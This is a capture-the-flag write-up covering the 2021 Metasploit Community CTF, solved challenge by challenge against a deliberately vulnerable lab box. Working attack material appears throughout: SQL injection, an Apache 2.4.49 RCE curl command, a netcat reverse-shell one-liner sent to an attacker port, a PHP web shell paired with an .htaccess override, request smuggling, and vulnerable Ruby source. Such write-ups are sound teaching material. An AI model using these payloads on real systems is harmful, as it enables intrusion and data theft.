2021 Metasploit Community CTF Writeup

This is a writeup of the 2021 Metasploit Community CTF. Thanks to the organizers for a great event. We solved all but one challenge. This post goes into more detail for the web challenges. For the challenges that I didn’t take part in solving, I’ll summarize what my teammates did.

Initial scanning

Each team is given a Kali box to attack from and a Ubuntu box to attack. The Kali box connection is made with a provided .pem file.

The CTF has 18 flags, each is named after a playing card. You don’t know which cards map to which ports until you solve the challenges (or at least start to solve them).

This scan was made using nmap -p- to scan for all ports.

Nmap scan report for
Host is up (0.010s latency).
Not shown: 65516 closed ports
80/tcp    open  http
443/tcp   open  https
8080/tcp  open  http-proxy
10010/tcp open  rxapi
11111/tcp open  vce
12380/tcp open  unknown
15000/tcp open  hydap
15010/tcp open  unknown
15122/tcp open  unknown
20000/tcp open  dnp
20001/tcp open  microsan
20011/tcp open  unknown
20022/tcp open  unknown
20055/tcp open  unknown
20123/tcp open  unknown
30033/tcp open  unknown
30034/tcp open  unknown
33337/tcp open  unknown
35000/tcp open  heathview

19 ports, 18 flags.

The CTF info page says that the lower numbered ports are the easiest, with difficulty increasing as the ports increase.

At least a few of these are web ports (80, 443, 8080) so we’ll want to set up some port forwarding so we can use tools on our host machine (like Burp Suite), and view these pages in a browser.

Port Forwarding

This assumes that you already have Burp Suite setup with a proxy such as Foxy Proxy. If not, check out this post for details. Make sure that this works first by opening Burp Suite, having your proxy running, and seeing that browser traffic shows up in the Proxy > HTTP history view.

In addition to that proxy running at and port 8000 or similar under the Proxy tab, we’ll also need a SOCKS proxy set up within Burp Suite.

Go to the User Options tab, then select the Connections sub tab. Scroll to the bottom and fill in the information as follows:

Then in a terminal window, cd to the directory with your key file and type the following command: ssh -N -C -D 8888 -i metasploit_ctf_kali_ssh_key.pem kali@

If it runs successfully, there won’t be any output. Leave this open for the duration of the CTF. Now you’ve got a SOCKS proxy to forward traffic, and Burp Suite’s normal proxy set up to intercept requests.

4 of Hearts (port 80)

With your SOCKS proxy running, and your normal Burp Suite proxy running, open up the IP address of your target box (this has to be done in the browser that has the Burp Suite proxy running).

For my team, this was I’ll use that IP address throughout this blog post, so sub it out for your IP address as applicable.

We’re given the flag on this port:

Here’s the HTML view, if you used curl or wget:

    <div class="container">
            <img src="static/065c6daa-a6e2-4634-b9c6-2eed5274ec47.png" />
            <p>Your remaining challenges are on other ports</p>

Download the card at http:

Then use md5sum to get the flag value:

$ md5sum four-of-hearts.png
3bb0409396fdc4e168c9185929af8347  four-of-hearts.png

Md5sum: 3bb0409396fdc4e168c9185929af8347

2 of Spaces (port 443)

Port 443 is up next. Rather than use https://<IP>, I used http://<IP>:443 to avoid certificate errors/warnings.

Once you have the page open… there’s not much there.

Let’s run dirb to see if we can find some common directories:

The interesting item in that output is /.git/HEAD, although there’s probably some other /.git/* files too.

To get a copy of the git repo, I like to use gitdumper.sh.

Once you have a copy of gitdumper.sh on your kali box (and have made it executable with chmod +x), run it against your target box by doing:

$ ./gitdumper.sh gitoutput

Then, cd into your output directory and run git log to see what’s going on (I had already ls'd and not found anything interesting):

Check out each commit individually, then ls -la within the directory and look at any changes. The oldest commit ends up being the one we want:

$ git checkout 61fffcea82d8ed62623d34d956d69602e93d8747

Then ls -la to see a new file: .env:

This file ends up having the endpoint to the flag. Visit and download the flag:

Md5sum: e908c9867ab88f1ee926b588b9b47be4

9 of Diamonds (port 8080)

Open up to see a page all about cookies:

If we scroll down, we’re given a few actions to interact with the site:

If we go to /admin, we’re not allowed to access the page.

Instead, let’s sign up for an account (test/test credentials):

And then sign in:

Given the “cookies” theme, let’s check out our cookies in Dev Tools (under Application tab in Chrome Dev Tools, or Storage in Firefox);

There’s authenticated-user (true), made-an-account (true), and admin (false).

We want to be admin, so set admin to true:

And then look at /admin again:

Md5sum: 688ff2e2ea27695695e589a3b273d24d

4 of Diamonds (port 10010)

If we open up, we see a pretty basic bootstrap application:

Register for an account, and then login:

If you look at the page source (shown here in Dev Tools), you see that there’s a JSON object describing our user:

We hit some dead ends looking into the cookie object. Instead, the issue is in the registration request, which can be viewed in Burp Suite or Dev Tools’ network view.

The data sent over for our initial registration request (creds test/test) is:


URL decoded, that looks like:


We’re providing a username and password as part of the account object, but there’s no role like we saw earlier in the HTML.

If we try adding one ourselves (account[role] = admin), such that that portion of the registration request looks like this:


Note that you’ll have to make a new account for this, rather than reusing the same username/password from before. The request seems to have worked (302 redirect).

Now login with the new creds, and you should see an admin link:

You can also check the page HTML again and see that you’ve got a role of admin.

Click Admin to go to and the card is on the page (

Md5sum: d8f8f79bd9645cdfe999e043290631d2

5 of Diamonds (port 11111)

Port 11111 is another basic website:

The login and registration buttons don’t seem to do anything when we provide test credentials like test/test.

Dirb shows us that there’s an /admin, as well as /flag and /news endpoints:

---- Scanning URL: ----
+ (CODE:403|SIZE:386)
+ (CODE:403|SIZE:386)
+ (CODE:200|SIZE:457)
+ (CODE:200|SIZE:840)
+ (CODE:302|SIZE:0)
+ (CODE:403|SIZE:386)
+ (CODE:200|SIZE:843)
END_TIME: Sun Dec  5 03:44:58 2021

They’re all 403 forbidden, though.

If we try the easiest SQLi payload, with username admin and password ' OR 1=1 -- , we’re logged in!

Click Admin Panel and then get the flag:

Md5sum: 3a6422d9a2338e850c228a108217cc51

10 of Clubs (port 12380)

This challenge had a hilariously bad website:

But that’s about it, there’s nothing else going on on this webserver (at least as far as dirb/etc is concerned).

If we try to go to a non-existent page, we get a 404 page that includes this text:

Apache/2.4.49 (Debian) Server at Port 12380

Apache 2.4.49 is a pretty old version, and there exist a handful of CVEs and proof of concepts for it, including RCE. The one that ended up working was described in this tweet:

Run this command from the Kali jumpbox to see all files at the root directory:

$ curl '' --data 'echo Content-Type: text/plain; echo; ls /'

The results are all pretty standard linux directories, except the directory named secret:

Eventually you find the full path at /secret/safe/flag:

Change the command to cat and then base64-encode the output, and write it to a file:

$ curl '' --data 'echo Content-Type: text/plain; echo; cat /secret/safe/flag.png | base64' > 12380-flag.b64

You can then base64-decode the file (base64 -D 12380-flag.b64 > newfilename.png) on your Kali box and md5sum it. To retrieve it, you can use scp or copy/paste the base64 output into a text editor on your host machine and base64-decode it there. The latter option is obviously more difficult but useful for other scenarios where easily file transfer isn’t an option.

Md5sum: 54ed1bef3b8eef7950c38ffe17be2319

5 of Clubs (port (15000)

Five of clubs was an interactive shell game that you could connect to with nc 15000:

It allows you to make, view, and delete student records. It doesn’t allow non-alphanumeric input. If you delete a user, there’s a file deletion:

This took us a while to solve, and one of my teammates ended up finding the vulnerability and getting a shell.

The vulnerability is that special characters are allowed, if you provide a new line in the prior field. For example:

Student name: \n
Student surname: <whatever chars you want here>

You don’t need a script for the \n character, just hit enter.

We’re interested in the delete option because that’s where a file deletion (file system interaction) happens.

Because of reasons we’ll get to in a minute (when I show the source code), you need to have a matching user in the database first, so create a user with \n as the name (just hit enter) and n (the letter) for the last name.

Type 4 to delete a record, then hit enter (\n) for the student name, and /bin/sleep 3 for the surname. The shell should wait a few seconds before responding.

That’s the proof of concept for command injection. To get full access, set up a reverse shell, and then provide these answers for another user deletion:

Student name: \n
Student surname: $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4447 >/tmp/f)

From your reverse shell, you can retrieve the flag at /hidden_storage/5_of_clubs.png

Here’s the vulnerable source code in app.rb on the box, after we have RCE:

def delete_record
  puts "\nDeleting a student with the following details:\n"

  while contains_invalid_chars (name = get_input(prompt: 'Student name: ').chomp) do puts invalid_chars_error end

  # No while loop or return statement here means invalid input is passed into the system call
  surname = get_input(prompt: 'Student surname: ').chomp
  puts "Invalid characters entered.\n" if contains_invalid_chars(surname)

  Dir.glob("#{STORAGE_DIR}/*.txt") do |file|
    student = file.split('/').last.split('.').first.split('_')
    # surname.include? let's us perform command injection.
    if name == student.first && surname.include?(student.last)
      puts "\nFound student file: #{name}_#{surname}.txt\nDeleting...\n"
      _, status = Open3.capture2("rm #{STORAGE_DIR}/#{name}_#{surname}.txt")
      status.success? ? (puts 'Completed.') : (puts 'Something went wrong! Contact your local administrator.')

Md5sum: 0c3c3d0e090f792ba5cedc8a2fe72b36

4 of Clubs (port (15010)

This next challenge is a website that allows you to register new accounts (usernames longer than 8 chars):

You can upload files but the extensions are stripped off, no matter what I tried.

After making an account and logging in, I ran out of ideas and worked on another challenge. I came back and had to make another account because I forgot my password (lol).

Some experimentation showed that, while you cannot view /users/<otherusername>/files, you can view /users/<otherusername>/files/<specific known filename>. I found this while looking for a known file name that I had uploaded with my first user.

I then did some directory scanning to find other users:

$ dirb

---- Scanning URL: ----
+ (CODE:403|SIZE:13)
+ (CODE:403|SIZE:13)
+ (CODE:403|SIZE:13)
+ (CODE:403|SIZE:13)
+ (CODE:403|SIZE:13)
END_TIME: Sun Dec  5 05:13:02 2021

With known users admin, builder, employee, root and staff, I used Burp Intruder to search for known files at:<known users>/files/<filename fuzzing here>

I used Burp rather than dirb because you need to be logged in, and I already had the cookie set up in Burp.

This returned a bunch of results, including:


Most of these were random files or pictures of dogs, but the last one, /users/employee/files/fileadmin, turned out to be the flag! Add a .png file extension to have it render normally. This chal was pretty guessy in my opinion.

Md5sum: 1839e6ea9477521edab0a19979d20b29

7 of Hearts (port 15122)

This is the challenge we were unable to solve during the event. Thanks to folks in the writeup channel for explaining how this one worked.

This is a OpenSSH server, version 8.6. This is a new version with no known relevant CVEs.

We knew from past Metasploit CTF events that there’s usually something happening in the network traffic between the attack and victim box. We monitored traffic but did not see anything suspicious. This might be an infrastructure issue, or maybe we just overlooked it.

In any case, if you view network traffic between the two boxes, you’ll eventually (after ~5ish minutes) notice an inbound packet from the victim box to port 23 (Telnet) of the attacking box. This is odd because we don’t have Telnet running.

If you open a netcat listner (nc -nvlp 23) and wait, the incoming connection will be caught by your listener. Since the Telnet protocol is pretty simple, you can ask it for a username with USER: and then a password with PASS:. This gets us the following credentials:

It turns out that these are reused in the SSH port. So no bruteforcing was actually necessary. :| Then you just have to login and get the flag.

Md5sum: 8db4b319476e2a61b5c5ef6aa04b7c25

2 of Clubs (port 20000)

I did not work on this challenge or 20001, but these two are related reverse engineering challenges. There’s a game provided via that connects to port 20001.

There are two levels, the “easy level” challenge is the 2 of Clubs, and the harder level is the Black Joker.

The solve script my teammate developed is:

from pwn import *
import sys
import time

HOST = ""
PORT = 6042

context.arch = 'amd64'
context.os = 'linux'

r = remote(HOST, PORT)

for x in range(7):
  for y in range(6):
    got = r.recvline().strip()
    got = str(got)

    if "TargetHit" in got:
      got = r.recvline().strip()
      got = str(got)

    t0 = got.split('"target_id":')[1]
    t1 = t0.split(',')[1]
    t2 = t0.split(',')[2]
    t2 = t2.replace("}}'", "")
    t1 = t1.replace('"x":', '')
    t2 = t2.replace('"y":', '')
    resp = '{\"ClientClick\":{\"x\":'+t1+',\"y\":'+t2+'}}'
    # print(resp)


This will reveal the flag at

Md5sum: f8972549547c3171fd41dddece3798bb

Black Joker (port 20001)

The game from the previous port also has a “hard mode”. I did not work on this challenge either. My teammate’s script is:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time

HOST = ""
PORT = 6042

context.arch = 'amd64'
context.os = 'linux'

r = remote(HOST, PORT)

for x in range(5):
  for _ in range(8):
    got = r.recv(56)
    resp = bytes.fromhex("0000002c000000000000000c00020001000000070000000c00024ee80000") + got[42:44] + bytes.fromhex("0000000c00024ee90000") + got[54:]


    what = r.recv(68)

This reveals the joker card at

Md5sum: 4195467b3a19bd9bcff419135561b01f

Ace of Hearts (port 20011)

This is another web challenge. The page is a gallery listing:

The admin page is off limits to us:

I didn’t notice this the first time around but John’s gallery is also off-limits to us:

If we go back to the gallery listing, we can input URLs, such as, we can view the gallery. The resulting link is so it seems like we’ve got a possible LFI vulnerability.

The galleryUrl seems to require that the URL start with http://<ip address>. We were able to get a request to our own server working, but that wasn’t that useful, although we did see that the request was coming from http://ctf-gallery.local. This gave us the idea to try localhost.

Instead, we can browse to<endpoint here> using the galleryUrl input. So, the issue is more like an SSRF vulnerability.

For example, requesting gets us this view:

Uncheck the privacy setting for John, then go back to the main page, and view John’s gallery at

Here’s the full-size flag:

Md5sum: e47ee30b7528082e1ebf2c7ff20b0f82

Jack of Hearts (port 20022)

If we look at Dev Tools, there’s a cookie value assigned to user of:


If we base64-decode this, then base64-decode this again, the result is:


The obvious solution is to switch the b:0 (boolean value for admin) from 0 to 1. But this gets us a snarky warning:

If we change the path value to something else (careful to update the s:23 to the new string length), we get an error:


Which encodes as:


We get this message:

Now we know where the flag is, it’s at /flag.png. Unfortunately if we try to do /flag.png` as our value, we get an error. It turns out that the path needs to begin with /var/www/html, so to satisfy that constraint while also getting /flag.txt`, we need to request:


Which encodes to:


Et voila:

Md5sum: fc6395dede8707ce386759ae8acf281a

9 of Spades (port 20055)

This is a file upload challenge:

I wasted a lot of time on this one trying different file upload tricks. You can use shell.php.jpg or shell.php%00.jpg and similar tricks, but the file won’t execute when you view it.

My teammate noticed that .htaccess is not on the list of banned file extensions. Uploading .htaccess would allow us to tell the server to execute .jpg files (for example) in that directory. The overall server might have an .htaccess file but this would overrule it in a given directory.

So, create a text file named .htaccess with the following contents:

AddType application/x-httpd-php .jpg

Upload that, then upload another file named shell.php.jpg with the following contents:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Once this is uploaded, navigate to the file and provide commands via ?e=<command>, such as

We know the flag is at /flag.png so use this command to get the base64-encoded version of it:|%20base64

Then base64 decode on your host machine to get the flag. Md5sum: 270d4a0a9abc1c048102ff8b91f10927

8 of Clubs (port 20123)

This is the crypto challenge from the event. If you SSH in, you’re shown the credentials in the prompt (root/root)

Then cd into the challenge directory to see some files (note: there are also history files in the main directory)

The main file of interest is encrypt_flag.py, which uses a Fernet cipher to encrypt a file. Fortunately for us, there are implementation errors.

import argparse
import random
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
DEBUG = False

def get_salt(seed=1337):  # Need a seed so the salt stays the same
        generator = random.Random(seed)
        if DEBUG:
        return generator.randbytes(32)
        return UNKNOWN_ERROR

def get_token():
        generator = random.SystemRandom()
        if DEBUG:
        return generator.randbytes(32)
        return UNKNOWN_ERROR

def encrypt_flag(file):
    kdf = PBKDF2HMAC(

    key = base64.urlsafe_b64encode(kdf.derive(bytes(get_token())))
    # Fernet uses the time and an IV so it never produces the same output twice even with the same key and data
    fernet = Fernet(key)
    return fernet.encrypt(file)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Encrypt a file and save the output')

    parser.add_argument('--debug', action="store_true")
    args = parser.parse_args()
    if args.debug:
        DEBUG = True

    with open(args.input_file, "rb") as f:
        encrypted_file = encrypt_flag(f.read())

    with open(args.output_file, "wb") as f:

I did not work on this challenge either but there are a couple of tricks involved here. First, the seed is hardcoded (1337) which makes it easier to recover the token value. Second, the token will always be the same because an error is thrown in the except case. Third, we know it was run with the --debug flag from .ash_history:

9497cf215c37:~# cat .ash_history
python3 encrypt_flag.py 8_of_clubs.png encrypted_flag --debug
rm -rf 8_of_clubs.png

It turns out we can reuse the same file with minimal changes. If we make a new copy of the file called decrypt.py:

cp encrypt_flag.py decrypt_flag.py

Then edit return fernet.encrypt(file) to return fernet.decrypt(file), then run the file:

python decrypt_flag.py encrypted_flag output.png --debug

Then check output.png, and we’ve got our flag:

Md5sum: 9c5ab35d64069ab0f5c0ed225ca73574

3 of Clubs (port 30033/30034)

This was another RE challenge that I didn’t work on, so unfortunately I don’t have anything to share here. The challenge involves finding (creating) a key that satisfies the requirements of the provided binary on port 30034.

You can do this manually with RE, or you can use symbolic execution to solve it (I think I read that someone used angr):

Here’s the flag:

Md5sum: 4fe8385a2e0c2ee9dd9c4e8a05689f2f

3 of Hearts (port 33337)

This was a HTTP smuggling challenge. If you open up in a browser, it forwards to a different website, threeofhearts.ctf.net (which I’m assuming is out of bounds for the challenge):

If you open the request up in Burp Suite, the original request has this response:

It says it needs a Host header, so if we provide threeofhearts.ctf.net, we now get this response:

There’s save.php which allows us to save files to /out/save.txt. If you look at that log file (after making a save.php request), you see that there are reserved lines for cookie and header info:

There’s also private.php, which seems like what we want to access:

My teammates solved this challenge, so I will just share the working requests here. The first request is to save.php, where a HTTP Smuggling attack is used to smuggle a request through to save.php. It’s not clear to me how the headers get populated–if this is the proxy appending them for us, or if there’s an admin visiting. In any case, the request goes through:

Next, we need to retrieve the cookies from /out/save.txt`.

Then use those to make a request to private.php.

That gives us the endpoint: aWWFGZoBWNIRcRlsdFjb-YjAXGoxUEbrZEpIfzWWhPpdyUaWg-klF.YUbke_t-fvZfiPpVElvQuEpKfWYTu._BICUhoQrSvMMhcLZe_J_Fqi.E.aDBkfVrmhg.R-uwcp/flag.png.

From there, we can get the flag:

Md5sum: 8bfaea12949472c47a14e1a7607da678

Ace of Diamonds (port 35000)

This last challenge was a PCAP challenge. This was another challenge solved mostly by my teammates.

You download the pcap from the webserver:

The challenge description says that it’s an exfiltration challenge. If you open the PCAP in Wireshark, you see a lot of SMB traffic. You can do File > Export Objects > SMB and this will show various objects embedded in the PCAP, but the export won’t work for the jpg and zip files.

If you piece together the txt file dialogue, those files say:

- What does this protocol use to align fields?
- A lot of things can happen when structures are not properly aligned.
- But wait... is the actual value matter?
- Not too much to find here... just regular backups
- -e The content is not that useful as it looks like.
- -e Barnier Gauthiot Gilbertus Kochiu Hippolytos della Corte

We hit a lot of dead ends tryign to solve this challenge, including thinking that the flag was embedded within the zip files (this is an exfil challenge, afterall), and that the data was encrypted because of the -e flag.

As it turns out, the flag location is hidden in the padding of the SMB files. This padding is how the SMB data is usually aligned.

In our case, the padding data has ASCII-readable hex characters in it.

We can extract those values using:

tshark -r capture.pcap -T fields -e smb.padding > output.txt

Then use CyberChef to strip out the newlines, null bytes, and other extraneous characters before hex-decoding:

This URL is the flag location:,rhbjaaCeDseVRQzEO.YsgXXtoGKpvUEkZXaoxurhdYnIlpJiGszZwUktVWTS,DabQAhvbEDQaNL_Dhsq.pposWkG-DtQdIVXNEWd.KbtYXvCek_gJuzIrDtMHfITFL/flag.png

Md5sum: 6a8dbd73f4d31d10dc88446d1e1e3ae1

And that’s a wrap!